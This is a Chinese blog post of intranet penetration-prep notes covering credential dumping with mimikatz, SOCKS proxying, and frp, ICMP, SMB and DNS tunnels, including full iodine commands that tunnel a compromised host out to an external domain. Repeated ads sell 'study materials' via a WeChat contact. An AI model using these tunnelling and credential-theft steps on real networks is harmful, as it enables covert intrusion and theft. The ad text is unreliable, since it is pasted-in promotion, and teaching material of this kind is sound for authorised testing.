内网前期准备小结(1)，阿里一线架构师技术图谱

先自我介绍一下，小编浙江大学毕业，去过华为、字节跳动等大厂，目前阿里P7

深知大多数程序员，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年最新网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上网络安全知识点，真正体系化！

由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新

如果你需要这些资料，可以添加V获取：vip204888 （备注网络安全）

正文

工具：Adfind BloodHound fscan 
提权后cs端口扫描135

密码&凭据&口令等

收集各种密文，明文，口令等，为后续横向渗透做好测试准备
计算机用户 明文，HASH获取-mimikatz(win)，CS 插件

代理&隧道技术

代理：解决外网内网无法通讯问题
隧道：解决协议不出网，如不支持tcp协议

代理
msf auxiliary/server/socks_proxy，viper
cs 代理转发-Socks 代理

代理软件：Proxifier ProxyChains

隧道
frp隧道 tcp, udp, http, https
icmp pingtunnel
ssh隧道

SMB 隧道
判断：445 端口开放
通讯：直接 SMB 协议通讯即可

DNS 隧道
dns 区域传输 tcp 域名解析 udp
判断：nslookup dig
1、上线环境：内网主机只出网 DNS 协议数据，解决上线
-域名申请及配置
-监听器创建及配置
-后门绑定监听器及生成
2、通讯环境：
内网主机只出网 DNS 协议数据，解决通讯
https://github.com/yarrick/iodine
判断出网：nslookup www.baidu.com
-服务器：设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向
iodined -f -c -P xiaodi 192.168.0.1 ns1.xiaodi8.com -DD
设置密码 xiaodi 并创建虚拟 IP 及绑定域名指向
-客户端：连接密码 xiaodi 并绑定域名指向
iodine -f -M 200 -P xiaodi ns1.xiaodi8.com
-尝试通讯尝试连接：
ssh root@192.168.0.2

后门上线

cs

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化的资料的朋友，可以添加V获取：vip204888 （备注网络安全）

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！**